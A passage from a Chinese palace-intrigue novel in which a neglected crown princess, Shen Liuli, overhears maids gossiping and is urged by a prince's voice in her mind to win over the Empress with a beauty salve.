“可不是嘛!要我说啊,这东宫内,最得宠的还得是这位赵良娣。你看看咱们这位太子妃,虽然名分上是主子,可自打大婚那日“病倒”之后,殿下可就再也没踏入过咱们这静月轩半步了。”
“嘘——!你不要命啦?!这话要是被李嬷嬷听见了,非得拔了你的舌头不可!”
“怕什么?天高皇帝远的,她还能听得见不成?”
“那可说不定……”
那两个小宫女的闲聊声,渐渐远去。
可她们的话,却像一颗石子,在沈琉璃的心中,漾开了一圈涟漪。
“看到了吗?”君北玄的声音,再次响起,“这就是,你未来的战场。”
“一座比北境的冰原,还要冷酷百倍的修罗场。”
“王爷,您就别说风凉话了。”沈琉璃在心里,苦笑一声,“您以为,我愿意待在这里吗?”
两名洒扫宫女的闲聊声,彻底消失在静月轩的翠竹林深处时,沈琉璃的心,却怎么也无法平静下来。
赵良娣,夜明珠,太子殿下……
接下来的数日,沈琉璃依旧是那副“病体未愈,心灰意冷”的模样。
她每日里除了用膳,便是躺在床上,对着一本早已翻烂了的乾国诗集,静静地发着呆。那副模样,像一只早已被磨平了所有棱角,彻底认命了的笼中之鸟。
“不行!”君北玄的声音,充满了对她这种消极怠工的不屑,“你不能再这么等下去了!你现在,就像一只被温水煮着的青蛙!再不想办法跳出去,迟早要被活活地困死在这里!”
“王爷,您说的轻巧。”沈琉璃在心里,有气无力地回应,“我现在,被困在这静月轩里,连一只苍蝇都飞不进来,又能如何破局?”
“哼,妇人之见。”君北玄冷哼一声,“真正的战士,在任何时候,都不会放弃战斗的勇气!你忘了,我们手上还有一张王牌吗?!”
“王牌?”
“没错。”君北玄的声音里,带上了几分得意,“你忘了,你那位‘好婆婆’,皇后谢氏,是个什么样的人了吗?”
“她爱美,更爱面子。”沈琉璃缓缓说道。
“这就对了!”君北玄的声音,掷地有声,“而我们手上,恰好有一样东西,是这世上任何一个爱美的女人,都无法抗拒的!”
“玉容膏!”